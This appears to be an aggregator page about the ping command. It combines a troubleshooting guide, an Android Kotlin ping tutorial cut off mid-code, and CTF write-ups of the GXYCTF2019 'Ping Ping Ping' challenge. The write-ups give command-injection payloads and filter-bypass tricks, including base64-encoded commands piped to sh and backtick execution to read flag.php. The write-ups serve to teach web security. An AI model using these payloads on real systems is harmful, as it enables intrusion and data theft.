ping 订阅
PING (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序 [1]  。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态 [2]  。 展开全文
PING (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序 [1]  。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态 [2]  。
信息
简    称
PING
作    用
测试网络连接量
中文名
因特网包探索器
外文名
Packet Internet Groper
ping基本信息
ping用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。Ping命令可以进行以下操作 [3]  :①通过将ICMP(Internet控制消息协议)回显数据包发送到计算机并侦听回显回复数据包来验证与一台或多台远程计算机的连接。②每个发送的数据包最多等待一秒。③打印已传输和接收的数据包数。需要注意的是,Ping成功并不一定就代表TCP/IP配置正确,有可能还要执行大量的本地主机与远程主机的数据包交换,才能确信TCP/IP配置的正确性。如果执行ping成功而网络仍无法使用,那么问题很可能出在网络系统的软件配置方面,ping成功只保证当前主机与目的主机间存在一条连通的物理路径 [3]  。
收起全文
精华内容
下载资源
问答
  • ping
    千次阅读
    2022-03-26 10:00:53

    ping 问题分析

    ping 是什么

    ping 是常用的网络管理命令,ping也属于一个通信协议,是TCP/IP协议的一部分,适用于windows和linux以及unix。根据reply 反馈结果,来检查网络是否通畅或者网络连接的速度(time)是否正常。主要是端对端的,针对目标ip或者目标网址。

    OSI

    • 物理层:
      物理层负责最后将信息编码成电流脉冲或其它信号用于网上传输;

    eg:RJ45等将数据转化成0和1;

    • 数据链路层:
      数据链路层通过物理网络链路􏰁供数据传输。不同的数据链路层定义了不同的网络和协 议特征,其中包括物理编址、网络拓扑结构、错误校验、数据帧序列以及流控;

    可以简单的理解为:规定了0和1的分包形式,确定了网络数据包的形式;

    • 网络层:
      网络层负责在源和终点之间建立连接;

    可以理解为,此处需要确定计算机的位置,怎么确定?IPv4,IPv6!

    • 传输层
      传输层向高层􏰁提供可靠的端到端的网络数据流服务。

    可以理解为:每一个应用程序都会在网卡注册一个端口号,该层就是端口与端口的通信!常用的(TCP/IP)协议;

    • 会话层
      会话层建立、管理和终止表示层与实体之间的通信会话;

    建立一个连接(自动网络寻址);

    • 表示层:
      表示层􏰁供多种功能用于应用层数据编码和转化,以确保以一个系统应用层发送的信息 可以被另一个系统应用层识别;

    可以理解为:解决不同系统之间的通信,eg:Linux下的QQ和Windows下的QQ可以通信;

    • 应用层:
      OSI 的应用层协议包括文件的传输、访问及管理协议(FTAM) ,以及文件虚拟终端协议(VIP)和公用管理系统信息(CMIP)等;

    规定数据的传输协议;

    ping 原理

    ping命令使用的是检测源和目的ip间导通性测试的icmp协议,属于三层网络ip层协议。

    ping的过程,无论是源主机发出request请求还是目的主机回reply的过程,都是首先根据目的ip查找本地路由表,确定下一跳的出口,然后根据下一跳的ip在arp缓存里确定是否有下一跳ip的mac地址,没有就发出arp请求去查找。有的话,二层和ip层组包发出。

    源主机ping发出含一串数据的包(如123456789abcde之类)request消息,封装在二层上,对方收到后,把这串包原路反射送回来,源pc收到后,认为是对方可达。所以它涉及二层的mac地址和ip层的交互。当对方存在问题时(ip地址不存在,没有路由等),对方的ip或者经过的网络节点会返回icmp的差错消息给终端源ip。使用的端口和ip要根据节点的路由表进行确定,发起方根据返回结果来产生回显,若在ping的request消息发出,等待一段时间,win默认是5s,没有收到回复,发起方显示超时time out(linux环境默认定时器是1秒,这种情况没有任何显示)

    ping 不通的可能原因

    ping 不通的现象

      C:\Users> ping 192.168.4.41
      正在 Ping 192.168.4.41 具有 32 字节的数据:
      请求超时。
      请求超时。
          ...
      192.168.4.41 的 Ping 统计信息:
      数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),  
    
    • 对方关机/ip不存在
    • 网段不同,通过路由也无法找到
    • 防火墙设置,过滤了ping发出的ICMP数据包,导致无反馈,time out
    • Ip地址设置错误,对于多个网卡的服务器来说,每个网口的ip配置必须不能在同一个网段,否则会造成路由不知选择哪一个出口
    • 网线故障
    • 未设置网关,这个对于小网128网段,走路由器的,如果未配置将无法路由

    总有分成几类问题:

    电脑配置故障;物理线路故障;ARP问题;VLAN问题;路由问题;访问控制。

    电脑配置故障

    使用ipconfig /all观察本地网络设置是否正确

    以太网适配器 本地连接:
    连接特定的 DNS 后缀 . . . . . . . : huawei.com
    描述. . . . . . . . . . . . . . . : Xen Net Device Driver
    物理地址. . . . . . . . . . . . . : 28-6E-D4-88-B7-19
    DHCP 已启用 . . . . . . . . . . . : 是
    自动配置已启用. . . . . . . . . . : 是
    本地链接 IPv6 地址. . . . . . . . : fe80::dd9a:f549:2b85:b027%13(首选)
    IPv4 地址 . . . . . . . . . . . . : 192.168.1.5(首选)
    子网掩码  . . . . . . . . . . . . : 255.255.255.0
    ...默认网关. . . . . . . . . . . . . : 192.168.1.1
    
    

    ping 对方

    ping –a 命令,可探测对方,将ip地址解析为主机名。如果存在,说明该主机ip存在,从而去检查防火墙是否关闭;
    

    ping 127.0.0.1

    Ping 127.0.0.1地址检查本地的TCP/IP协议有没有设置好。

    ping 127.0.0.1 ,若无法ping通,则本地tcp/ip协议栈有问题
    若提示为:no route to host,则说明网卡不能正常工作
    若提示为:transmit failed error code,则说明网卡驱动有问题
    若提示为:time out 说明路由器中有该路由,但是由于其他原因导致包无法传送
    若提示为:destination host unreachable 说明路由器中无该路由
    

    ping 本机(ipv4)

    Ping本机IP地址,这样是为了检查本机的IP地址设置和网卡安装配置是否有误。

    C:\Users> ping 192.168.1.5
    正在 Ping 192.168.1.5 具有 32 字节的数据:
    来自 192.168.1.5 的回复: 字节=32 时间<1ms TTL=128
    来自 192.168.1.5 的回复: 字节=32 时间<1ms TTL=12
    ...
    

    请求超时,则表明网卡安装或配置有故障。将网线断开再次执行此命令, 如果显示正常,则说明本机使用的IP地址可能与另一台正在使用的机器IP地址重复了。如果仍然不正常,则表明本机网卡安装或配置有故障,需继续检查相关网络配置。

    ping 网关

    Ping本网网关或本网IP地址,这样是为了检查硬件设备是否有故障,也可以检查本机与本地网络连接是否正常。

    C:\Users> ping 192.168.1.11
    正在 Ping 192.168.1.11 具有 32 字节的数据:
    来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128
    来自 192.168.1.11 的回复: 字节=32 时间<1ms TTL=128
    ...
    

    Ping不通物理链路故障故障分析

    光纤或网线连接的端口和网络链路部署要求不一致;光模块波长参数与实际需求不一致;设备的通信接口损坏;物理连接线老化、破损;接口被阻塞。

    常见物理链路故障判断方法如下:

    • 查看设备端口指示灯状态,如果是常灰,说明无连接。此时需要更换接口或者网线再进行尝试。
    • 通过display interface interface-type interface-number命令检查接口的状态,依据端口状态判断故障原因,从而进行解决。
    • 通过display stp brief、display rrpp verbose和display smart-link group all命令,检查设备上是否运行了STP、RRPP或SMART LINK等二层协议,确认Ping业务经过的物理接口是否被阻塞。如果端口被阻塞,需要修改相关的配置。

    Ping不通ARP问题故障分析

    通过前面的Ping不通故障定位思路可以判断出是否是由于ARP问题引起Ping不通。设备在封装ICMP报文时需要MAC地址,如果对应的MAC地址不存在,则需要进行ARP学习,ARP学习失败会导致Ping报文被丢弃,从而Ping不通。常见ARP问题导致Ping不通,都是因为设备未正确进行ARP学习。
    常见ARP问题判断方法如下:

    • 通过display arp interface interface-type interface-number命令,检查直连地址的ARP是否学习正常。
    • 通过display mac-address interface-type interface-number命令查看MAC表项,确认MAC地址的出端口和ARP的物理出端口是否一致。
    • 如果ARP未正常的学习,首先检查接口配置、VLAN配置、VLANIF接口配置、IP地址配置等是否正确,其次检查ARP和ARP安全的配置是否限制了ARP的学习。

    Ping不通VLAN问题故障分析

    通过前面的Ping不通故障定位思路可以判断出是否是由于VLAN问题引起Ping不通。常见VLAN问题有以下三种:

    接口未加入已经规划好的VLAN;接口的链路类型配置不正确;VLANIF接口的状态不为UP,或配置的IP地址不正确。

    常见VLAN问题判断方法如下:

    • 通过display port vlan interface-type interface-number命令,查看接口加入的VLAN。 接口所属的VLAN一般在网络规划的时候已经完成,如果配置错误,需要重新配置。
    • 通过display port vlan interface-type interface-number命令,查看接口的链路类型。 不同的链路类型对通过的报文处理方式不同,配置的时候需要关注,如果配置错误,需要重新配置。
    • 通过display interface brief和display ip interface brief interface-type interface-number命令,查看接口状态和接口与IP的对应关系。
    • 配置VLANIF接口,并将实际物理口加入指定VLAN后,需要保证VLANIF接口状态为UP,才能进行通信。如果配置错误,需要重新配置。

    Ping不通路由问题故障分析

    通过前面的Ping不通故障定位思路可以判断出是否是由于路由问题引起Ping不通。常见路由问题有以下三种:
    没有去目的网段的路由;目的设备没有回程路由;设备的路由表已经超规格;路由配置错误。

    • 常见路由问题判断方法是通过display ip routing-table命令查看路由表信息,看其中是否存在到目的网段的路由,如果没有路由需要重新配置路由。

    配置路由时不仅需要关注本端去对端的路由,还需要注意对端的回程路由。设备支持配置多种路由协议,可以依据实际情况进行选择。

    Ping不通访问控制故障分析

    通过前面的Ping不通故障定位思路可以判断出是否是由于访问控制引起Ping不通。为了保护设备安全或业务需要,会经常在设备上配置访问控制,如果Ping报文正好处于访问控制之列,则可能会导致Ping不通。

    常见访问控制有限制报文类型、过滤源地址或目的地址等。常见访问控制判断方法如下:
    在接口下进行抓包,分析获取报文的信息,然后查看相应的配置。

    • 通过display current-configuration interface interface-type interface-number命令,检查接口上是否存在访问控制的相关配置。

    由于访问控制一般都是依据设备安全或业务需要而配置的,虽然Ping不通但是不影响业务的运行。修改此类问题需要慎重,以免影响设备的正常使用

    常见的网络层协议

    参考资料

    • http://www.023wg.com/guzhang/298.html
    • https://blog.csdn.net/wj31932/article/details/89633071
    • https://www.cnblogs.com/michael-xiang/p/10467825.html
    更多相关内容
  • java中ping命令ping工具类(循环ping) java ping ip ping命令 ping工具类 支持linux和windows等所有平台 Ping是Windows下的一个命令 在Unix和Linux下也有这个命令。 ping也属于一个通信协议,是TCP/IP协议的一部分 ...
  • 一般的ping命令不带时间戳,这个加强版可以形成日志记录。便于网络稳定性长期监控。
  • BUUCTF之Ping Ping Ping

    千次阅读 2022-02-20 13:34:56
    echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh 再查看网站源码,拿到flag 参考文章: [GXYCTF2019]Ping Ping Ping_satasun的博客-CSDN博客 [GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客 ...

    目录

    审题

    常用的空格绕过方法

    解决方法

    法一        拼接绕过法

    法二        内联执行法

    法三        sh编码绕过法


    审题

    点开链接

    根据题目提示随便试试构造payload

    inurl?ip=666

     有返回,参数ip的值就是要ping的内容

    这里我们知道有Windows和Linux通用的命令分隔符%0a、| 、& 、 ;

    ; : 命令1 ; 命令2                  ——先执行命令1再执行命令2

    & :命令1 & 命令2              ——先执行命令1再执行命令2

    | : 命令1 & 命令2               ——只执行命令2

    先试试看Windows特有的命令dir,使用分隔符|

    构造payload  , inurl?ip=127.0.0.1 | dir

      emmm,好像是空格符被过滤掉了,把空格符删去再试试看

    没反应,操作系统应该不是Windows了,输入命令ls,查看当前目录的文件 

     找到了放flag的文件,但是要打开该文件得用到命令cat flag.php , 必须绕过空格过滤

    常用的空格绕过方法

    $IFS              

    $IFS$6                               ——后面的数字6换成其他数字也行

    ${IFS} 

    <

    <>

    {cat,flag.php}                      ——这里把,替换成了空格键

    %20                                     ——代表space键

    %09                                     ——代表Tab键

    不着急,先试着打开index.php查看过滤方法

    使用命令cat$IFS$6index.php

    接着查看网站源码 

    what's up 好多绕过的方法都被过滤了

    解决方法


    法一        拼接绕过法

    这个方法主要是绕过对flag正则匹配的检测,有点悬,目前好像只能拼接末尾的g\ag\lag,我也不太清楚为啥

    将lag替换成x,绕过对flag的正匹检测,构建payload

    inurl?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php

    查看网站源码后得到flag


    法二        内联执行法

    可以看到代码没有过滤掉符号`  , 所以可以利用内联执行的方式直接打开flag文件

    先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 

    inurl?ip=127.0.0.1;cat$IFS$6`ls`

    再查看源码后拿到flag


    法三        sh编码绕过法

    使用方法

    echo 命令编码|base64 -d|sh

    •  sh可以换成bash , 但是题目过滤掉了
    • 也可以换成其他的编码形式,这里用base64的
    • 空格用$IFS$6替换掉
    • cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

    构造payload  , 相当于执行命令cat flag.php

    inurl?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

    再查看网站源码,拿到flag


    参考文章:

    [GXYCTF2019]Ping Ping Ping_satasun的博客-CSDN博客

    [GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客

    linux常见绕过方法_wojiushilsy的博客-CSDN博客

    Linux/CTF命令注入及绕过_Mr_Shiyang的博客-CSDN博客_linux 命令注入绕过

    展开全文
  • [GXYCTF 2019]Ping Ping Ping

    千次阅读 2022-05-06 18:34:22
    因为题目是与ping有关,当我们输入127.0.0.1时,它会进行ping命令操作。 一般根据ping命令相关的命令执行,正常情况有五种写法 127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令...

    前言

    之前没总结过关于命令执行的绕过姿势,借着今天做的这个命令执行的题目来总结一下。

    先看题目

    题目

    题目很单一,目的就是为了让我们通过参数传入内容来执行代码。因为题目是与ping有关,当我们输入127.0.0.1时,它会进行ping命令操作。

    一般根据ping命令相关的命令执行,正常情况有五种写法

    127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
    127.0.0.1&+code  &表示将任务置于后台执行
    127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
    127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
    127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

    而本题就是要用到第五种。输入127.0.0.1;whoami 它会回显出用户名www-data,说明命令执行成功。接着用ls命令查看当前目录文件,输入命令127.0.0.1;ls

    发现当前目录下有flag.php和index.php。我们试着读取index.php文件的源码,看看它都过滤了什么。试了很多次,发现你过滤了空格。

    绕过空格

    其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。

    Windows

    type.\flag.txt
    type,flag.txt
    echo,123456

    linux

    {cat,flag.txt} 
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat$IFS$1flag.txt
    cat<flag.txt
    %09替换
    cat<>flag.txt
    kg=$'\x20flag.txt'&&cat$kg
    (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

    其实windows系统的命令不太常用,赛题中也很少出现。这题也不例外。这道题中我们可以使用

    $IFS$1来代替空格,使用cat命令来查看index.php文件的源码。

    发现它过滤了很多东西 包括一些字符还有整个flag。

    内联执行

    在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1`ls`  这个命令来输出flag了。

    查看源代码内容就可以找到flag。

     变量拼接

    看了师傅们的WP后,知道可以使用变量拼接的方法来绕过flag这个关键字。

    让变量a=ag,让变量b=fl,payload:

    ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
    

    变量拼接也是绕过正则过滤的一个有效的方法。

    Base64编码

    正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

    payload:

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    

    管道符|是直接执行后面的语句。

    单双引号绕过

    虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

    ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

    反斜线绕过

    大同小异

    ca\t fl\ag

    $1、$2等和 $@绕过

    大概的形式就是l$1s   ca$2t fl$@ag等等。

    这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。

    结语

    我总结的只是冰山一角,更多绕过姿势等以后再慢慢总结。

    膜拜大佬:命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01

    展开全文
  • android中的ping命令使用

    千次阅读 2021-06-18 11:52:23
    有时我们需要知道设备的网络好不好,光看手机上的信号格数是不准确的,比如在广州南站,人那么多,如果带宽不够的话,虽然你看着信号是满格的,但是网速也会很慢,所以不能光看信号强度,还是得通过ping命令来看网速...

    前言

    在做Android开发时,有时我们需要知道设备的网络好不好,光看手机上的信号格数是不准确的,比如在广州南站,人那么多,如果带宽不够的话,虽然你看着信号是满格的,但是网速也会很慢,有些地方,人少,信号也满格,但是网速也慢,所以不能光看信号强度,还是得通过ping命令来看网速比较可靠。

    在Android的实际开发中,我们公司开发了音视频通讯App,安装在了客户的设备上,客户说,哎,怎么看不到视频啊,你这App不行啊,每次遇到这种问题我们就会说,是你的网络不行啊。啊哈,很搞笑,一有问题我们就会说是客户的网络不好导致的,但是每次你这么说的话也不太好啊,你要拿出证据来啊,客户说他信号明明是满格的呀!所以解决方案就是在App上面增加ping的功能,这样看网络好不好就比较有理有据了。当然,我们也可以远程ping,就是通过网络给客户的app发命令,app收到命令后就开始ping,ping完之后把结果通过网络再传到我们这边的app上,这样我们就可以远程查看客户的网络情况了。

    ping的含义

    来自百度百科,ping (Packet Internet Groper)是一种因特网包探索器,用于测试网络连接量的程序 。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态。

    ping用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。

    Windows中的ping命令

    Windows中的ping命令可以通过 -l 设置发送数据包的大小,通过 -w 可以设置超时时间,示例如下:
    在这里插入图片描述
    如上图,-l 128设置了发送的数据包为128 bytes,不设置的话默认是32 bytes,-w 4000设置了超时时间为4000毫秒(不写的话,默认好像超时也是4000毫秒),Windows默认是ping四次,所以出现了4行的超时(Request timed out.),ping返回结果分析如下:

    • Pinging 192.168.124.88 with 128 bytes of data: 这说明正在ping 192.168.124.88,数据包大小为128 bytes
    • Request timed out. 这说明ping超时了都没有收到192.168.124.88主机的回应。
    • Ping statistics for 192.168.124.88: 说明这是ping 192.168.124.88的结果分析。
    • Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
      - Sent = 4,说明总共发送了4个数据包
      - Received = 0,说明所有发出去的数据包中收到回应的个数为0个
      - Lost = 4,说明发送的数据包中有4个包丢失了(即没有收到回应)
      - 100% loss 说明所有发送的数据包中100%的数据包都丢失了

    正常能ping通的效果图如下:
    在这里插入图片描述
    这里可以看到,ping百度的域名,它解析到百度的ip为220.181.38.148,非常的快,发送128 bytes只需要37ms即可收到响应。返回结果分析如下:

    • Pinging baidu.com[220.181.38.148] with 128 bytes of data: 这说明正在ping baidu.com[220.181.38.148] ,数据包大小为128 bytes
    • Reply from 220.181.38.148: bytes=128 time=37ms TTL=50
      - Reply from 220.181.38.148: 这说明发送到220.181.38.148的数据包收到回应了
      - bytes=128,说明发送的数据包大小为128 bytes
      - time=37ms,说明数据包从发送出去到接收到回应,花了37毫秒时间。网络好不好就看这个时间了,像37毫秒就是网络非常好的了,在公司测试发现100毫秒上下也是OK的,数字越小越好,具体数字多大就会卡呢,自己试罢,反正如果你发现卡的时候,就看看这个数字是多少,慢慢的你就知道什么数字是好的,什么数字是差的了。
      - TTL=50,TTL(Time To Live,生存周期):每经过一次路由该值自减1,直至减到0时该IP包会被丢弃。通过这样的设置可以在路由遇到死循环时,避免IP包在环内不停转发,但不能达到目的地。
    • Approximate round trip times in milli-seconds: 往返行程的估计时间
    • Minimum = 37ms, Maximum = 38ms, Average = 37ms
      - 最短 = 37ms,即使用时间最短的那个数据包发送接收的使用时间
      - 最长 = 38ms,即使用时间最长的那个数据包发送接收的使用时间
      - 平均 = 37ms,即所有的数据包平均的发送和接收的使用时间

    因为默认只ping四次,所以如果需要一直ping的话可以通过加 -t 参数,示例如下:
    在这里插入图片描述
    这时它就会一直ping,直到我们按Ctrl + C才会停止。

    关于TTL,一般用默认值就行,为了方便理解,我们修改一下这个参数,使用 -i 可以修改,比如改成5次,然后ping baidu,看经过5次路由能否达到百度,如下:
    在这里插入图片描述
    啊哈,竟然会超时出现,我网络好的很,哎,也不追究这个为什么会出现超时了,反正网上是这么说的:TTL数值每经过一次路由就会减1,如果到0时还没有达到目标主机,就会返回失败了,返回的内容的就是上面的“Reply from 219.158.8.85: TTL expired in transit.”,中文含义为“来自 219.158.8.85的回复:TTL在传输过程中过期了。”

    Android中的ping命令

    在命令行中进入shell:

    adb shell
    

    执行效果如下:
    在这里插入图片描述

    这时,我们就可以输入ping命令执行了,如下:
    在这里插入图片描述
    和windows不同,windows默认只ping4次,而linux默认会不停地ping,直到我们按下Ctrl + C才停止。

    在我的Android项目需求中,不能一直ping,只需要ping一段时间即可,通过 -c 命令可以指定ping的次数,比如设置成只ping4次,如下:
    在这里插入图片描述
    如上图,可以看到,Linux的ping返回结果和Windows的差不多,相同的我就不重复解释了,只说不同点,如下:

    • PING baidu.com (220.181.38.148) 56(84) bytes of data. 这里的56(84),56指的是数据包的大小为56bytes,84是什么我就不知道了,似乎括号里的这个数值和不带括号的总是相差28。下面一行我们看到有64 bytes,和56 bytes相差8。
    • icmp_seq=1 ping序列,从1开始,干嘛用的?我也不知道,在ping的时候你可以通过这个值了解到这是发送的第几个数据包了。
    • 4 packets transmitted, 4 received, 0% packet loss, time 3011ms
      - 4 packets transmitted,说明传输了4个包
      - time 3011ms 这是个什么时间?我也不知道,懒的去查了,开始我以为是整个ping过程所花的总时间,后来打开计时器看发现并不是。
    • rtt min/avg/max/mdev = 40.851/53.571/58.797/7.373 ms,rtt是舍意思?我也不知道,懒得查了,后面的,min是最短,avg是平均,max是最长,mdev?,我也不知道,懒得查。这里的最短、平均、最长和Widnows的是一样的含义,不多解释了。

    在网络不好时,会发现ping命令一直没有输出内容,如下:
    在这里插入图片描述
    于是就想说,设置个超时时间吧,通过-W可以设置超时时间,这里我设置了超时为1000,我不知道这个1000是个什么单位,是毫秒啊,还是秒?测试发现在我网络不通的时候一直不结束,有可能这个单位是秒,所以超时时间就很长,那我就当它单位是秒吧,设置为10再试一下,发现还是没结果,如下:
    在这里插入图片描述
    那我设置ping的次数为4次,再试一下,如下:
    在这里插入图片描述
    我使用计时器看了一下,大概13秒结束返回结果,搞不懂这个-W设置的超时是个什么原理,跟Windows不一样啊,Windows是每发送一个数据包,如果超时了就会打印一行Request timed out,按照这个逻辑的话上面应该打印4行Request timed out,而且总时间应该是40秒,因为超时是10秒,ping 4次,如果4次都超时则为40秒,这才是正常行为,但是不知道为什么Android上这么奇怪,是因为Android修改过这个Linux底层了吗?带着这个疑问,我打开了我华为云上的Linux主机,发现效果是一样的,如下:
    在这里插入图片描述
    这说明Linux的超时设置就是有问题的!完全没有Windows的那个效果。这里有一篇文章在说为什么Linux ping超时了没有回显消息:https://blog.csdn.net/wj31932/article/details/111315405,文章大长了,我也懒得去慢慢看,这个超时参数不管用那我只能不用它了。

    那在做Android开发时,如果网络不好ping命令一直不返回也不行啊,怎么结束ping操作啊?,我发现把ping的那个线程中断也不管用。

    只输入ping就按回车,可以看到ping命令的所有参数,如下:
    在这里插入图片描述
    如上图,有一个参数为:-w deadline,注,这是小写的w,deadline中文含义为“最后期限”,其作用就是设置整个ping过程的时间,这个功能非常符合我的项目需求,我就是想要设置ping多久,比如我想设置ping30秒,我不管你30秒ping了多少次,我也不管你超时时间是多少,我也不管你网络好不好,反正30秒之后你一定要给我结束,使用如下:
    在这里插入图片描述
    我开计时器了,确实是30秒之后就结束了。

    总结

    ping命令的参数很多,但是真正在用的时候需要的参数也就一两个,所以掌握这一两个就够了。Windows中的ping用-l和-t参数就够了,Linux中的ping用-s和-w就够了,超时时间一般是不用设置的,用默认的就好了。

    1. Windows ping简单使用:ping -l 128 -t baidu.com
      - l 设置数据包大小为128 bytes
      - t 设置一直不停地ping
      - 示例如下:
      在这里插入图片描述

    2. Linux ping简单使用:ping -s 120 -w 20 baidu.com
      - s 设置数据包大小为120 bytes,实际发送数据包时是128bytes,据说是会包含一些头信息什么的需要额外的8bytes,据我的实验,在Android手机中,默认是1秒ping一次,包含超时时间在里面,比如ping 20秒,不管网络好与不好,20秒后,看统计信息会显示发送的刚好是20个包。
      - w设置总的ping时间为20秒
      - 示例如下:
      在这里插入图片描述

    3. 查看ping参数说明

      • Windows直接输入ping即可,如下:
        在这里插入图片描述
      • Linux也是直接输入ping,如下:
        在这里插入图片描述
        如果是在Linux电脑(在Android系统上不行),还可以使用man ping查看ping命令的详细使用手册,如下:
        在这里插入图片描述
        在这里插入图片描述
        这个手册非常详细,从这里可以看到-w和-W的单位为秒,百度里找到的文章大多数说是毫秒,真是一个个都是转载别人的,一个错个个错,所以,尽量找官网文档看,比较准确。

    Android中使用代码完成Ping功能

    重点:Android使用此函数来执行ping命令:Runtime.getRuntime().exec(“ping -s 56 -w 30 192.168.1.8”),这个函数执行之后会返回一个Process进程对象,通过读取这个进程的两个输入流即可获取到ping的结果,需要注意的是,系统是有可能交替往这两个流里面写入数据的,所以我们需要开两个线程同时读取这两个流(百度的文章里全是一个线程进行读取的),这里使用到了线程的合并功能(join()函数),通过join()函数可以实现让两个线程先执行完,所以这个示例中完美的展示了join()函数的使用,大家可以深刻体会到该函数的作用是怎样的,准确的说,join()函数并不是线程合并函数,而是一个等待函数,比如在A线程里调用了B线程的join()函数,则A线程就等着不动了,等到B线程执行结束了A线程才继续接着往下执行。

    先上一个效果图:
    在这里插入图片描述

    这里设置ping的ip为百度的ip,ping 5秒钟,数据包大小为64字节,点击Start Ping按钮,效果如下:
    在这里插入图片描述
    代码如下:
    1、首先开启ViewBinding功能,在build.gradle中配置,如下:

    android {
        compileSdkVersion 30
        buildToolsVersion "30.0.3"
    
        buildFeatures {
            viewBinding true
        }
    }
    

    2、界面布局:

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        xmlns:tools="http://schemas.android.com/tools"
        android:orientation="vertical"
        android:paddingTop="16dp"
        android:paddingBottom="16dp"
        tools:context=".MainActivity">
    
        <androidx.recyclerview.widget.RecyclerView
            android:id="@+id/recyclerView"
            android:layout_width="match_parent"
            android:layout_height="0dp"
            android:layout_weight="1" />
    
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:layout_marginLeft="16dp"
            android:layout_marginRight="16dp">
    
            <TextView
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:text="Ping IP: "
                tools:ignore="SpUsage" />
    
            <EditText
                android:id="@+id/etIp"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:inputType="phone"
                android:text="39.156.69.79"
                tools:ignore="Autofill,SpUsage" />
    
        </LinearLayout>
    
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:layout_marginLeft="16dp"
            android:layout_marginRight="16dp">
    
            <TextView
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:text="Ping多久(单位为秒): "
                tools:ignore="SpUsage" />
    
            <EditText
                android:id="@+id/etTime"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:inputType="number"
                android:text="5"
                tools:ignore="Autofill,SpUsage" />
    
        </LinearLayout>
    
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:layout_marginLeft="16dp"
            android:layout_marginRight="16dp">
    
            <TextView
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:text="数据包大小(单位为字节): "
                tools:ignore="SpUsage" />
    
            <EditText
                android:id="@+id/etSize"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:textSize="16dp"
                android:inputType="number"
                android:text="64"
                tools:ignore="Autofill,SpUsage" />
    
        </LinearLayout>
    
        <Button
            android:gravity="center"
            android:id="@+id/btnStartPing"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Start Ping"
            android:textAllCaps="false"
            android:textColor="@android:color/white"
            android:textSize="16dp"
            android:layout_marginLeft="16dp"
            android:layout_marginRight="16dp"
            tools:ignore="SpUsage" />
    
    </LinearLayout>
    

    3、代码:

    class MainActivity : AppCompatActivity() {
    
        private lateinit var binding: ActivityMainBinding
        private lateinit var mAdapter: MyAdapter
        private val lines = ArrayList<String>()
    
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            binding = ActivityMainBinding.inflate(layoutInflater)
            setContentView(binding.root)
    
            mAdapter = MyAdapter()
            binding.recyclerView.layoutManager = LinearLayoutManager(this)
            binding.recyclerView.adapter = mAdapter
            binding.btnStartPing.setOnClickListener {
                thread { ping() }
            }
        }
    
        private fun ping() {
            val ip = binding.etIp.text.trim().toString()
            val sizeStr = binding.etSize.text.trim().toString()
            val time = binding.etTime.text.trim().toString()
            if (ip.isBlank()) {
